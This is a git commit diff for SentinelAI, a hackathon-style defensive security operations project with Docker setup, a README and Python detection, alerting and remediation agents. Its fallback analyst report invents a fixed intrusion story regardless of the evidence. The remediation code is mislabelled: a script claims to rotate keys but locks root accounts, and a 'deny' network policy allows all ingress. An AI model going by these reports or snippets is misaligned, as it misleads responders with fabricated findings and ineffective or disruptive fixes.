Sync SentinelAI project and add Hugging Face Docker Space layout.

.dockerignore

@@ -0,0 +1,17 @@
+.git
+.gitattributes
+.venv
+.venv_py314
+__pycache__
+*.pyc
+.pytest_cache
+.mypy_cache
+.ruff_cache
+chroma_data
+.env
+frontend/node_modules
+frontend/.next
+*.log
+import_profile*.txt
+import_p3.txt
+.tmp_import.log

.env.example

@@ -0,0 +1,58 @@
+# Core services
+DATABASE_URL=postgresql+asyncpg://sentinel:sentinel@localhost:5432/sentinelai
+REDIS_URL=redis://localhost:6379/0
+SKIP_DB=1
+# AsyncPG connect timeout (seconds) when PostgreSQL is unreachable — avoids long hangs
+DB_CONNECT_TIMEOUT_SEC=10
+CORS_ORIGINS=http://localhost:3000
+
+# Collectors
+COLLECTOR_WATCH_DIR=./demo_logs
+COLLECTOR_POLL_SEC=1.0
+COLLECTOR_MISSING_RETRY_SEC=10
+COLLECTOR_HOSTNAME=edge-01
+COLLECTOR_FILE_PATHS=
+COLLECT_AUTH_LOG=0
+AUTH_LOG_PATH=/var/log/auth.log
+
+ENABLE_MOCK_CLOUD_POLL=1
+
+# LangGraph compile dry-run runs in the background after startup (optional skip / timeout)
+# SKIP_LANGGRAPH_WARMUP=1
+# LANGGRAPH_WARMUP_TIMEOUT_SEC=120
+
+AUTO_AI_ON_INCIDENT=1
+AUTO_AI_MIN_SEC=75
+
+# Local LLM (Ollama)
+OLLAMA_HOST=http://localhost:11434
+OLLAMA_MODEL=llama3
+
+# OpenAI-compatible inference (vLLM, Fireworks, OpenAI, etc.)
+# Must be the INFERENCE base URL — not http://localhost:8000 (that is this app’s API).
+# Fireworks example: https://api.fireworks.ai/inference/v1
+VLLM_BASE_URL=
+VLLM_API_KEY=
+# Fireworks example: accounts/fireworks/models/deepseek-v4-pro
+SENTINEL_LLM_MODEL=llama3
+OPENAI_BASE_URL=
+OPENAI_API_KEY=
+LLM_TEMPERATURE=0.2
+LLM_MAX_TOKENS=4096
+# Optional Fireworks-style sampling: LLM_TOP_P=1  LLM_TOP_K=40
+
+# Optional threat intel
+ABUSEIPDB_API_KEY=
+VIRUSTOTAL_API_KEY=
+OTX_API_KEY=
+
+# Alerting
+SLACK_WEBHOOK_URL=
+DISCORD_WEBHOOK_URL=
+TEAMS_WEBHOOK_URL=
+GENERIC_ALERT_WEBHOOK=
+
+# Frontend (Next.js) — also set when running npm run dev
+NEXT_PUBLIC_API_URL=http://localhost:8000
+
+CHROMA_PERSIST_DIR=./chroma_data

.gitignore

@@ -0,0 +1,14 @@
+.venv/
+.venv_py314/
+__pycache__/
+*.py[cod]
+.pytest_cache/
+.mypy_cache/
+.ruff_cache/
+chroma_data/
+.env
+frontend/.next/
+frontend/node_modules/
+dist/
+*.log
+!demo_logs/auth_demo.log

Dockerfile

@@ -0,0 +1,29 @@
+# Hugging Face Spaces (Docker SDK) — app must listen on 7860.
+# Space has no bundled Postgres/Redis; backend degrades with SKIP_DB / no REDIS_URL.
+FROM python:3.12-slim
+
+ENV PYTHONDONTWRITEBYTECODE=1 \
+    PYTHONUNBUFFERED=1 \
+    PYTHONPATH=/app \
+    SKIP_DB=1 \
+    SKIP_LANGGRAPH_WARMUP=1 \
+    ENABLE_MOCK_CLOUD_POLL=1 \
+    COLLECTOR_WATCH_DIR=/app/demo_logs \
+    CORS_ORIGINS="*"
+
+WORKDIR /app
+
+RUN apt-get update && apt-get install -y --no-install-recommends \
+    build-essential \
+    libpq-dev \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY requirements.txt /app/requirements.txt
+RUN pip install --no-cache-dir -r /app/requirements.txt
+
+COPY . /app
+
+RUN mkdir -p /app/demo_logs
+
+EXPOSE 7860
+CMD ["uvicorn", "backend.app.main:app", "--host", "0.0.0.0", "--port", "7860"]

README.md

@@ -4,9 +4,196 @@ emoji: 🏃
 colorFrom: red
 colorTo: pink
 sdk: docker
+app_port: 7860
 pinned: false
 license: apache-2.0
 short_description: SentinelAI — Autonomous Multi-Agent AI SOC
 ---
 
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
+**This Hugging Face Space** runs the FastAPI control plane in Docker (no bundled PostgreSQL/Redis). The API is served on port **7860**; set `SKIP_DB=1` at build time for demo-grade startup.
+
+---
+
+# SentinelAI — Autonomous Multi-Agent AI SOC
+
+SentinelAI is a hackathon-grade, production-shaped **autonomous Security Operations Center**. It continuously ingests telemetry through collector agents, normalizes and enriches events, runs multi-modal detection (rules + heuristics + optional LLM reasoning on AMD ROCm), correlates attack chains, scores risk, drafts analyst narratives, emits remediation, and fans out alerts—while a **Next.js 15** command deck visualizes live operations.
+
+## Powered by AMD ROCm compute
+
+- **Local open models**: wire `OLLAMA_HOST` to an Ollama instance backed by **AMD ROCm** on Linux (`ollama/ollama:rocm` in `docker/docker-compose.yml` comments).
+- **Parallel agents**: FastAPI + `asyncio` execute enrichment, detection, correlation, and analyst tasks concurrently; GPU inference accelerates the analyst LLM path without shipping prompts to a proprietary SaaS.
+- **Throughput**: ROCm lowers per-token latency for Llama 3, Qwen 2.5, Mistral, or DeepSeek-class models so multiple agents can reason on overlapping incidents.
+
+## Architecture
+
+```mermaid
+flowchart TB
+  subgraph Infra[Infrastructure]
+    L[Linux auth/syslog]
+    D[Docker / K8s / Cloud mocks]
+  end
+  C[Collector Agent]
+  P[Parser Agent]
+  N[Normalization Agent]
+  E[Threat Enrichment Agent]
+  T[Threat Detection Agent]
+  G[LangGraph orchestration]
+  X[Incident Correlation Agent]
+  R[Risk Scoring Agent]
+  A[AI Analyst Agent]
+  M[Remediation Agent]
+  AL[Alerting Agent]
+  DB[(PostgreSQL)]
+  RD[(Redis)]
+  V[(Chroma optional)]
+  UI[Next.js 15 Dashboard]
+
+  Infra --> C
+  C --> P --> N --> E --> T
+  T --> G
+  G --> X --> R --> A --> M
+  E -.intel.-> V
+  T --> DB
+  X --> DB
+  AL --> RD
+  A --> UI
+  T --> UI
+```
+
+## Repository layout
+
+| Path | Role |
+| --- | --- |
+| `frontend/` | Next.js 15 + Tailwind + shadcn + Framer Motion SOC deck |
+| `backend/app/main.py` | FastAPI control plane + WebSockets |
+| `agents/` | Threat, risk, analyst, remediation, alerting logic |
+| `collectors/` | Autonomous async tailing collectors |
+| `parsers/` | Log → structured `SecurityEvent` |
+| `workflows/` | LangGraph multi-agent DAG |
+| `database/` | SQLAlchemy models + async session |
+| `models/` | Shared Pydantic schemas |
+| `services/` | Pipeline, hub, metrics, optional Chroma |
+| `docker/` | Compose + GPU-ready notes |
+| `scripts/` | Demo attack replay |
+
+## Quick start (local)
+
+```bash
+cd SentinelAI
+python3 -m venv .venv && source .venv/bin/activate
+pip install -r requirements.txt
+cp .env.example .env
+# optional: start postgres + redis, or export SKIP_DB=1 for demo-only persistence
+export PYTHONPATH=$PWD
+export SKIP_DB=1  # remove when PostgreSQL is available
+./scripts/run-backend-dev.sh
+```
+
+Use `./scripts/run-backend-dev.sh` instead of `uvicorn ... --reload` from the repo root: reloading the whole tree also watches `.venv/site-packages` and can restart endlessly. The script scopes `--reload-dir` to Python source folders only.
+
+```bash
+cd frontend
+npm install
+export NEXT_PUBLIC_API_URL=http://127.0.0.1:8000
+npm run dev:22
+```
+
+Use `npm run dev:22` (Node 22) if `npm run dev` fails with a Next.js `semver` error on newer Node versions.
+
+Replay the scripted attack chain:
+
+```bash
+python scripts/demo_attack.py
+```
+
+**Continuous demo stream** (keeps generating traffic for judges):
+
+```bash
+python scripts/continuous_demo.py
+```
+
+**Linux auth.log (production-style):** set `COLLECT_AUTH_LOG=1` (and optionally `AUTH_LOG_PATH`) or add paths to `COLLECTOR_FILE_PATHS`. The collector waits until the file exists and tails new lines asynchronously.
+
+**Attack replay (WOW):** after traffic has populated the buffer, call `POST /replay/start` with `{"delay_ms": 420}` or use the dashboard **Replay last chain** button to re-broadcast buffered detections/incidents over WebSockets.
+
+**vLLM / OpenAI-compatible inference:** set `VLLM_BASE_URL` (or `OPENAI_BASE_URL`) and `SENTINEL_LLM_MODEL` to your served model; analyst reports use `/v1/chat/completions` before falling back to Ollama.
+
+The UI listens on `NEXT_PUBLIC_API_URL` and opens a WebSocket to `/live-events`.
+
+## Docker Compose
+
+```bash
+docker compose -f docker/docker-compose.yml up --build
+```
+
+- API: `http://localhost:8000`
+- UI: `http://localhost:3000`
+- Uncomment the `ollama` service for ROCm hosts and align `OLLAMA_HOST`.
+
+Install optional vector memory:
+
+```bash
+pip install -r requirements-optional.txt
+```
+
+## Required API surface
+
+| Endpoint | Description |
+| --- | --- |
+| `POST /ingest-logs` | Push raw logs / JSON events |
+| `WS /live-events` | Real-time detections + incidents |
+| `POST /detect-threats` | Parser → enrich → detect |
+| `POST /correlate-incidents` | Recompute chains |
+| `POST /generate-summary` | Body: `{ "incident_id": "..." }` |
+| `POST /remediation` | Body: `{ "incident_id": "..." }` |
+| `POST /send-alert` | Slack / Discord / Teams / webhook |
+| `GET /dashboard-metrics` | KPIs for the deck |
+| `POST /replay/start` | Re-stream buffered threat frames to WebSocket clients |
+| `GET /replay-buffer` | Inspect replay buffer (debug) |
+| `GET /rocm-panel` | AMD ROCm story + simulated GPU/agent load for the UI |
+
+## Open-source model matrix
+
+| Role | Suggested weights |
+| --- | --- |
+| Reasoning | Llama 3, Qwen 2.5, DeepSeek, Mistral |
+| Vision (future) | Qwen-VL, LLaVA for phishing/malware screenshots |
+| Embeddings | BGE, E5 (plug into Chroma ingestion) |
+
+Set `SENTINEL_LLM_MODEL` to the tag served by your ROCm Ollama runtime.
+
+## Live demo script (judges)
+
+1. **Start stack** — Docker Compose or local `uvicorn` + `npm run dev`.
+2. **Show autonomous collection** — tail `demo_logs/auth_demo.log` without manual uploads.
+3. **Fire demo** — `python scripts/demo_attack.py` or the in-UI **Simulate attack chain** button.
+4. **Narrate agents** — Collector → Parser → Normalization → Enrichment → Detection → LangGraph hop → Correlation → Risk → (optional) Analyst LLM on ROCm.
+5. **Pivot to response** — call `/remediation` + `/send-alert` with a webhook sink.
+6. **Close with differentiation** — autonomous agents, not a chatbot; on-prem models on AMD GPUs; evidence in PostgreSQL.
+
+## Pitch deck outline (copy into Slides / Gamma)
+
+1. **Problem** — SOC teams drown in telemetry; correlation is manual; cloud-only AI breaks data residency.
+2. **Solution** — SentinelAI fuses autonomous collectors, graph-based correlation, and open-weight LLMs.
+3. **Why now** — AMD ROCm makes on-prem inference cost-viable; LangGraph standardizes agent choreography.
+4. **Demo** — live WebSocket feed + incident graph + analyst summary.
+5. **Moat** — modular agents, MITRE mapping, optional TI hooks, Terraform-ready remediation stubs.
+6. **Ask** — design partners for managed SOC + on-prem appliance.
+
+## Demo & pitch (read before presenting)
+
+- **Exact demo steps:** [docs/DEMO_SCRIPT.md](docs/DEMO_SCRIPT.md)
+- **One-line pitch:** [docs/PITCH.md](docs/PITCH.md)
+- **Backup recording:** [docs/RECORDING_CHECKLIST.md](docs/RECORDING_CHECKLIST.md)
+- **AMD panel API:** `GET /rocm-panel` (drives the “Powered by AMD ROCm” dashboard section)
+
+## Judge explanation notes
+
+- **Autonomy**: collectors run continuously; pipeline executes without human prompts.
+- **Multi-agent**: LangGraph DAG + discrete services per concern (enrichment vs detection vs correlation).
+- **Enterprise UX**: glassmorphism SOC deck, severity analytics, world heatmap, terminal channel.
+- **Honest scope**: optional APIs (AbuseIPDB, VT, OTX) degrade gracefully; LLM path falls back to deterministic narratives if Ollama is offline.
+
+## Security notice
+
+This repository ships **defensive** tooling and demo payloads. Only run against systems you own or have permission to test.

agents/__init__.py

@@ -0,0 +1 @@
+"""Autonomous SentinelAI security agents."""

agents/ai_analyst_agent.py

@@ -0,0 +1,247 @@
+"""AI Security Analyst — vLLM / OpenAI-compatible, Ollama, or cinematic fallback."""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+from typing import Any
+
+import httpx
+
+logger = logging.getLogger(__name__)
+
+from models.schemas import AnalystReport, Incident, RiskAssessment
+
+
+async def generate_analyst_report(incident: Incident, risk: RiskAssessment) -> AnalystReport:
+    prompt = _build_prompt(incident, risk)
+    text: str | None = None
+
+    vllm_base = (os.getenv("VLLM_BASE_URL") or os.getenv("OPENAI_BASE_URL") or "").strip()
+    if vllm_base:
+        text = await _openai_compatible_chat(
+            vllm_base,
+            os.getenv("SENTINEL_LLM_MODEL", "meta-llama/Meta-Llama-3-8B-Instruct"),
+            prompt,
+        )
+
+    if not text:
+        ollama = os.getenv("OLLAMA_HOST", "http://localhost:11434")
+        model = os.getenv("OLLAMA_MODEL", os.getenv("SENTINEL_LLM_MODEL", "llama3"))
+        text = await _ollama_generate(ollama, model, prompt)
+
+    if not text:
+        text = _cinematic_fallback_json(incident, risk)
+
+    parsed = _parse_analyst_json(text, incident, risk)
+    return AnalystReport(
+        incident_id=incident.id,
+        executive_summary=parsed["executive_summary"],
+        technical_analysis=parsed["technical_analysis"],
+        investigation_notes=parsed["investigation_notes"],
+        indicators=_extract_iocs(incident),
+        recommended_actions=parsed["recommended_actions"],
+    )
+
+
+def _build_prompt(incident: Incident, risk: RiskAssessment) -> str:
+    tl = json.dumps(incident.timeline[:20], default=str)
+    return f"""You are a senior SOC analyst writing an executive-ready incident briefing.
+
+Output ONLY valid JSON (no markdown fences) with exactly these string keys:
+- "narrative": 2-4 sentences. Opening line MUST start with "SentinelAI detected". Enterprise tone: technical, concise, security-focused. Reference SSH/auth abuse, suspicious IPs, privilege moves, or outbound retrieval when applicable.
+- "progression": numbered step-by-step attack progression (use \\n between steps). Map what likely happened chronologically.
+- "severity_rationale": 2-3 sentences explaining why severity is justified (risk score {risk.risk_score}, label {risk.severity.value}), confidence, and blast radius.
+- "recommended_actions": array of 4-7 short imperative strings (e.g. "Block offending IP at perimeter", "Rotate credentials for affected accounts", "Inspect shell history and authorized_keys", "Enable MFA on privileged users").
+
+Incident title: {incident.title}
+Machine summary: {incident.summary}
+Risk: score={risk.risk_score} severity={risk.severity.value}
+Timeline JSON: {tl}
+"""
+
+
+async def _openai_compatible_chat(base_url: str, model: str, prompt: str) -> str | None:
+    key = os.getenv("VLLM_API_KEY") or os.getenv("OPENAI_API_KEY") or ""
+    headers: dict[str, str] = {
+        "Accept": "application/json",
+        "Content-Type": "application/json",
+    }
+    if key:
+        headers["Authorization"] = f"Bearer {key}"
+    max_tokens = int(os.getenv("LLM_MAX_TOKENS", "4096"))
+    payload: dict[str, Any] = {
+        "model": model,
+        "max_tokens": max_tokens,
+        "temperature": float(os.getenv("LLM_TEMPERATURE", "0.2")),
+        "messages": [
+            {
+                "role": "system",
+                "content": "You write incident reports as strict JSON only. No markdown.",
+            },
+            {"role": "user", "content": prompt},
+        ],
+    }
+    _top_p = os.getenv("LLM_TOP_P")
+    if _top_p not in (None, ""):
+        payload["top_p"] = float(_top_p)
+    _top_k = os.getenv("LLM_TOP_K")
+    if _top_k not in (None, ""):
+        payload["top_k"] = int(_top_k)
+    base = base_url.rstrip("/")
+    chat_url = f"{base}/chat/completions" if base.endswith("/v1") else f"{base}/v1/chat/completions"
+    try:
+        async with httpx.AsyncClient(timeout=120.0) as client:
+            r = await client.post(
+                chat_url,
+                headers=headers,
+                json=payload,
+            )
+            if r.status_code != 200:
+                logger.warning(
+                    "OpenAI-compatible chat failed: %s %s",
+                    r.status_code,
+                    (r.text or "")[:800],
+                )
+                return None
+            data = r.json()
+            choice = (data.get("choices") or [{}])[0]
+            msg = choice.get("message") or {}
+            content = (msg.get("content") or "").strip()
+            return _normalize_llm_json(content)
+    except Exception:  # noqa: BLE001
+        return None
+
+
+def _normalize_llm_json(content: str) -> str:
+    s = content.strip()
+    fence = re.match(r"^```(?:json)?\s*([\s\S]*?)```$", s, re.IGNORECASE)
+    if fence:
+        s = fence.group(1).strip()
+    try:
+        json.loads(s)
+        return s
+    except json.JSONDecodeError:
+        m = re.search(r"\{[\s\S]*\}", s)
+        if m:
+            return m.group(0).strip()
+    return s
+
+
+async def _ollama_generate(host: str, model: str, prompt: str) -> str | None:
+    try:
+        async with httpx.AsyncClient(timeout=120.0) as client:
+            r = await client.post(
+                f"{host.rstrip('/')}/api/generate",
+                json={"model": model, "prompt": prompt, "stream": False},
+            )
+            if r.status_code != 200:
+                return None
+            return (r.json().get("response") or "").strip()
+    except Exception:  # noqa: BLE001
+        return None
+
+
+def _parse_analyst_json(blob: str, incident: Incident, risk: RiskAssessment) -> dict[str, Any]:
+    try:
+        data = json.loads(blob)
+    except json.JSONDecodeError:
+        return _cinematic_fallback_dict(incident, risk)
+
+    narrative = str(data.get("narrative") or data.get("executive") or "").strip()
+    progression = str(data.get("progression") or data.get("technical") or "").strip()
+    sev = str(data.get("severity_rationale") or data.get("notes") or "").strip()
+    actions = data.get("recommended_actions") or data.get("actions") or []
+    if isinstance(actions, str):
+        actions = [x.strip("- •\t ") for x in actions.split("\n") if x.strip()]
+    if not isinstance(actions, list):
+        actions = []
+    actions = [str(a).strip() for a in actions if str(a).strip()][:12]
+
+    if not narrative:
+        return _cinematic_fallback_dict(incident, risk)
+    if not progression:
+        progression = _default_progression(incident)
+    if not sev:
+        sev = _default_severity_rationale(risk)
+    if not actions:
+        actions = _default_actions()
+
+    return {
+        "executive_summary": narrative,
+        "technical_analysis": progression,
+        "investigation_notes": sev,
+        "recommended_actions": actions,
+    }
+
+
+def _cinematic_fallback_json(incident: Incident, risk: RiskAssessment) -> str:
+    d = _cinematic_fallback_dict(incident, risk)
+    return json.dumps(
+        {
+            "narrative": d["executive_summary"],
+            "progression": d["technical_analysis"],
+            "severity_rationale": d["investigation_notes"],
+            "recommended_actions": d["recommended_actions"],
+        }
+    )
+
+
+def _cinematic_fallback_dict(incident: Incident, risk: RiskAssessment) -> dict[str, Any]:
+    return {
+        "executive_summary": (
+            f"SentinelAI detected correlated authentication and host telemetry consistent with a targeted intrusion "
+            f"chain against assets tied to “{incident.title}”. "
+            f"Repeated SSH authentication failures from a concentrated source were followed by successful session "
+            f"establishment and privileged execution patterns indicative of post-compromise activity. "
+            f"Outbound retrieval-style commands suggest possible payload staging or command-and-control preparation."
+        ),
+        "technical_analysis": _default_progression(incident),
+        "investigation_notes": _default_severity_rationale(risk),
+        "recommended_actions": _default_actions(),
+    }
+
+
+def _default_progression(incident: Incident) -> str:
+    lines = [
+        "1. Reconnaissance / credential spray against SSH surface from a high-velocity source IP.",
+        "2. Brute-force or password-spray phase producing clustered authentication failures.",
+        "3. Successful authentication — pivot from noise to confirmed access.",
+        "4. Privilege escalation via sudo or equivalent administrative channel.",
+        "5. Potential exfil or staging via scripted download utilities (e.g. curl/wget) to non-standard paths.",
+    ]
+    if incident.timeline:
+        lines.append(f"6. Correlated timeline contains {len(incident.timeline)} normalized events for graph reconstruction.")
+    return "\n".join(lines)
+
+
+def _default_severity_rationale(risk: RiskAssessment) -> str:
+    return (
+        f"Severity is driven by a composite risk score of {risk.risk_score}/100 with label {risk.severity.value}. "
+        f"The sequence combines authentication abuse with privilege boundary crossing, elevating impact beyond "
+        f"nuisance scanning. Confidence reflects rule-and-window correlation across multiple telemetry stages; "
+        f"treat as incident-grade until disproven by host forensics."
+    )
+
+
+def _default_actions() -> list[str]:
+    return [
+        "Block offending IP at perimeter firewall and WAF allowlists",
+        "Rotate credentials and invalidate active sessions for implicated accounts",
+        "Inspect shell history, authorized_keys, and cron for persistence",
+        "Enable or enforce MFA on all break-glass and sudo-capable users",
+        "Isolate affected host to a quarantine VLAN for memory and disk capture",
+        "Review outbound DNS and proxy logs for matching IOC time windows",
+    ]
+
+
+def _extract_iocs(incident: Incident) -> list[str]:
+    iocs: list[str] = []
+    for row in incident.timeline:
+        msg = str(row.get("msg", ""))
+        for token in msg.split():
+            if token.count(".") == 3 and token.replace(".", "").isdigit():
+                iocs.append(token)
+    return list(dict.fromkeys(iocs))[:16]

agents/alerting_agent.py

@@ -0,0 +1,94 @@
+"""Alerting agent — Slack, Discord, email, Teams, webhooks."""
+
+from __future__ import annotations
+
+import os
+from typing import Any
+
+import httpx
+
+from models.schemas import AlertPayload, Severity
+
+
+async def send_alert(payload: AlertPayload) -> dict[str, Any]:
+    channel = payload.channel.lower()
+    if channel == "slack":
+        return await _slack(payload)
+    if channel == "discord":
+        return await _discord(payload)
+    if channel == "teams":
+        return await _teams(payload)
+    if channel == "email":
+        return {"status": "queued", "detail": "Configure SMTP — payload logged server-side"}
+    if channel == "webhook":
+        return await _webhook(payload)
+    return {"status": "ignored", "channel": channel}
+
+
+async def _slack(payload: AlertPayload) -> dict[str, Any]:
+    url = os.getenv("SLACK_WEBHOOK_URL")
+    if not url:
+        return {"status": "skipped", "reason": "SLACK_WEBHOOK_URL not set"}
+    body = {
+        "text": f"*{payload.title}* [{payload.severity}]\n{payload.body}",
+        "attachments": [{"color": _color(payload.severity), "fields": [{"title": "meta", "value": str(payload.metadata)}]}],
+    }
+    async with httpx.AsyncClient(timeout=10.0) as client:
+        r = await client.post(url, json=body)
+        return {"status": r.status_code, "channel": "slack"}
+
+
+async def _discord(payload: AlertPayload) -> dict[str, Any]:
+    url = os.getenv("DISCORD_WEBHOOK_URL")
+    if not url:
+        return {"status": "skipped", "reason": "DISCORD_WEBHOOK_URL not set"}
+    async with httpx.AsyncClient(timeout=10.0) as client:
+        r = await client.post(
+            url,
+            json={"content": f"**{payload.title}** ({payload.severity})\n{payload.body}"},
+        )
+        return {"status": r.status_code, "channel": "discord"}
+
+
+async def _teams(payload: AlertPayload) -> dict[str, Any]:
+    url = os.getenv("TEAMS_WEBHOOK_URL")
+    if not url:
+        return {"status": "skipped", "reason": "TEAMS_WEBHOOK_URL not set"}
+    card = {
+        "@type": "MessageCard",
+        "@context": "https://schema.org/extensions",
+        "summary": payload.title,
+        "themeColor": "D83B01",
+        "title": payload.title,
+        "sections": [{"text": payload.body}],
+    }
+    async with httpx.AsyncClient(timeout=10.0) as client:
+        r = await client.post(url, json=card)
+        return {"status": r.status_code, "channel": "teams"}
+
+
+async def _webhook(payload: AlertPayload) -> dict[str, Any]:
+    url = os.getenv("GENERIC_ALERT_WEBHOOK")
+    if not url:
+        return {"status": "skipped", "reason": "GENERIC_ALERT_WEBHOOK not set"}
+    async with httpx.AsyncClient(timeout=10.0) as client:
+        r = await client.post(
+            url,
+            json={
+                "title": payload.title,
+                "body": payload.body,
+                "severity": payload.severity.value,
+                "metadata": payload.metadata,
+            },
+        )
+        return {"status": r.status_code, "channel": "webhook"}
+
+
+def _color(severity: Severity) -> str:
+    return {
+        Severity.CRITICAL: "#b00020",
+        Severity.HIGH: "#ff6f00",
+        Severity.MEDIUM: "#fbc02d",
+        Severity.LOW: "#1976d2",
+        Severity.INFO: "#455a64",
+    }.get(severity, "#455a64")

agents/incident_correlation_agent.py

@@ -0,0 +1,90 @@
+"""Incident correlation: fuse multi-stage events into attack timelines and graphs."""
+
+from __future__ import annotations
+
+from collections import defaultdict
+from datetime import timedelta
+from typing import Iterable
+from uuid import NAMESPACE_URL, uuid5
+
+from models.schemas import DetectionFinding, EnrichedEvent, Incident, IncidentEdge, IncidentNode
+
+
+def correlate(
+    events: Iterable[EnrichedEvent],
+    findings: Iterable[DetectionFinding],
+    window_minutes: int = 45,
+) -> list[Incident]:
+    events_list = sorted(events, key=lambda e: e.timestamp)
+    if not events_list:
+        return []
+
+    by_ip: dict[str, list[EnrichedEvent]] = defaultdict(list)
+    for e in events_list:
+        key = e.source_ip or f"host:{e.host}"
+        by_ip[key].append(e)
+
+    incidents: list[Incident] = []
+    finding_by_event = {f.event_id: f for f in findings}
+
+    for key, chain in by_ip.items():
+        if len(chain) < 2 and not any(finding_by_event.get(e.id) for e in chain):
+            continue
+        start = chain[0].timestamp
+        end = chain[-1].timestamp
+        if (end - start) > timedelta(minutes=window_minutes * 4):
+            continue
+
+        nodes = [
+            IncidentNode(event_id=e.id, label=f"{e.event_type}: {e.message[:80]}", timestamp=e.timestamp)
+            for e in chain
+        ]
+        edges: list[IncidentEdge] = []
+        for i in range(len(chain) - 1):
+            edges.append(
+                IncidentEdge(
+                    source=chain[i].id,
+                    target=chain[i + 1].id,
+                    relation="precedes",
+                )
+            )
+
+        techniques = {finding_by_event[e.id].technique for e in chain if e.id in finding_by_event}
+        title = f"Correlated activity — {key}"
+        if "brute_force_ssh" in techniques and "credential_stuffing_success" in techniques:
+            title = f"Likely SSH compromise chain — {key}"
+        summary = _narrative(chain, techniques)
+
+        timeline = [
+            {"t": e.timestamp.isoformat(), "type": e.event_type, "msg": e.message} for e in chain
+        ]
+
+        stable_id = uuid5(NAMESPACE_URL, f"sentinelai|incident|{key}")
+        incidents.append(
+            Incident(
+                id=stable_id,
+                title=title,
+                summary=summary,
+                nodes=nodes,
+                edges=edges,
+                timeline=timeline,
+            )
+        )
+
+    return incidents
+
+
+def _narrative(chain: list[EnrichedEvent], techniques: set[str]) -> str:
+    parts = [
+        f"{len(chain)} correlated events spanning "
+        f"{(chain[-1].timestamp - chain[0].timestamp).total_seconds():.0f}s"
+    ]
+    if "brute_force_ssh" in techniques:
+        parts.append("brute-force pattern against SSH")
+    if "credential_stuffing_success" in techniques:
+        parts.append("successful authentication after failures")
+    if "privilege_escalation" in techniques or "privilege_abuse" in techniques:
+        parts.append("privilege escalation phase")
+    if "known_malicious_source" in techniques:
+        parts.append("originates from intelligence-flagged infrastructure")
+    return "; ".join(parts) + "."

agents/normalization_agent.py

@@ -0,0 +1,44 @@
+"""Normalization agent: schema validation, host + timestamp standardization."""
+
+from __future__ import annotations
+
+from datetime import datetime, timezone
+from typing import Any
+
+from models.schemas import SecurityEvent
+
+
+def normalize_event(event: SecurityEvent) -> SecurityEvent:
+    ts = event.timestamp
+    if ts.tzinfo is None:
+        ts = ts.replace(tzinfo=timezone.utc)
+    host = (event.host or "unknown").strip().lower()
+    cat = _categorize(event.event_type)
+    normalized = {
+        **event.normalized,
+        "category": cat,
+        "host_normalized": host,
+        "ts_iso": ts.isoformat(),
+    }
+    return event.model_copy(
+        update={
+            "timestamp": ts,
+            "host": host,
+            "normalized": normalized,
+        }
+    )
+
+
+def _categorize(event_type: str) -> str:
+    et = event_type.lower()
+    if "ssh" in et or "auth" in et:
+        return "authentication"
+    if "sudo" in et or "privilege" in et:
+        return "privilege"
+    if "web" in et or "nginx" in et or "apache" in et:
+        return "web"
+    if "k8s" in et or "kubernetes" in et:
+        return "orchestration"
+    if "firewall" in et or "iptables" in et:
+        return "network"
+    return "general"

agents/pentest_assistant.py

@@ -0,0 +1,14 @@
+"""Bonus: AI pentesting copilot hook — extend with tool-calling + scoped auth."""
+
+from __future__ import annotations
+
+from models.schemas import Incident
+
+
+def suggest_pentest_queries(incident: Incident) -> list[str]:
+    """Returns safe, authorized recon prompts for purple-team exercises."""
+    return [
+        f"Map exposed services related to: {incident.title}",
+        "Enumerate IAM roles assuming breach of bastion host",
+        "Generate non-destructive Nmap plan for internal VLAN segmentation validation",
+    ]

agents/remediation_agent.py

@@ -0,0 +1,71 @@
+"""Remediation agent — automated playbooks, scripts, and infra hints."""
+
+from __future__ import annotations
+
+from models.schemas import AnalystReport, Incident, RemediationPlan, RiskAssessment
+
+
+def build_remediation(incident: Incident, risk: RiskAssessment, report: AnalystReport | None = None) -> RemediationPlan:
+    actions: list[dict] = []
+    fw: list[str] = []
+    scripts: list[str] = []
+    k8s: list[str] = []
+    iam: list[str] = []
+
+    iocs = report.indicators if report else []
+
+    for ip in iocs:
+        fw.append(f"iptables -A INPUT -s {ip} -j DROP  # SentinelAI auto-block")
+        fw.append(f"nft add rule inet filter input ip saddr {ip} drop")
+
+    scripts.append(
+        """#!/usr/bin/env bash
+set -euo pipefail
+echo "[SentinelAI] Rotating exposed SSH keys & invalidating sessions"
+sudo passwd -l $(awk -F: '$3 == 0 {print $1}' /etc/passwd) 2>/dev/null || true
+"""
+    )
+
+    k8s.append(
+        """apiVersion: v1
+kind: NetworkPolicy
+metadata:
+  name: sentinelai-deny-suspicious
+spec:
+  podSelector: {}
+  policyTypes:
+  - Ingress
+  ingress:
+  - from:
+    - ipBlock:
+        cidr: 0.0.0.0/0
+"""
+    )
+
+    iam.extend(
+        [
+            "Enforce MFA on all break-glass accounts",
+            "Scope IAM roles with session duration <= 1h",
+            "Enable CloudTrail data events on sensitive buckets",
+        ]
+    )
+
+    actions.extend(
+        [
+            {"type": "isolate", "detail": "Network isolate affected host via SOC VLAN quarantine"},
+            {"type": "credential", "detail": "Force password/ key rotation for implicated users"},
+            {"type": "monitoring", "detail": "Increase log verbosity and enable EDR kernel module"},
+        ]
+    )
+
+    if risk.severity.value in {"critical", "high"}:
+        actions.append({"type": "war_room", "detail": "Page incident commander + legal/comms"})
+
+    return RemediationPlan(
+        incident_id=incident.id,
+        actions=actions,
+        firewall_rules=fw,
+        scripts=scripts,
+        k8s_patches=k8s,
+        iam_hardening=iam,
+    )

agents/risk_scoring_agent.py

@@ -0,0 +1,46 @@
+"""Risk scoring agent."""
+
+from __future__ import annotations
+
+from statistics import mean
+
+from models.schemas import DetectionFinding, EnrichedEvent, Incident, RiskAssessment, Severity
+
+
+def score_incident(incident: Incident, events: list[EnrichedEvent], findings: list[DetectionFinding]) -> RiskAssessment:
+    event_ids = {n.event_id for n in incident.nodes}
+    rel_events = [e for e in events if e.id in event_ids]
+    rel_findings = [f for f in findings if f.event_id in event_ids]
+
+    base = 30.0
+    if rel_findings:
+        base += mean([f.confidence for f in rel_findings]) * 40
+    for f in rel_findings:
+        if f.severity == Severity.CRITICAL:
+            base += 12
+        elif f.severity == Severity.HIGH:
+            base += 8
+        elif f.severity == Severity.MEDIUM:
+            base += 4
+
+    for e in rel_events:
+        if e.enrichment.get("reputation") == "malicious":
+            base += 15
+        if e.event_type == "privilege.sudo":
+            base += 6
+
+    risk = max(0, min(100, base))
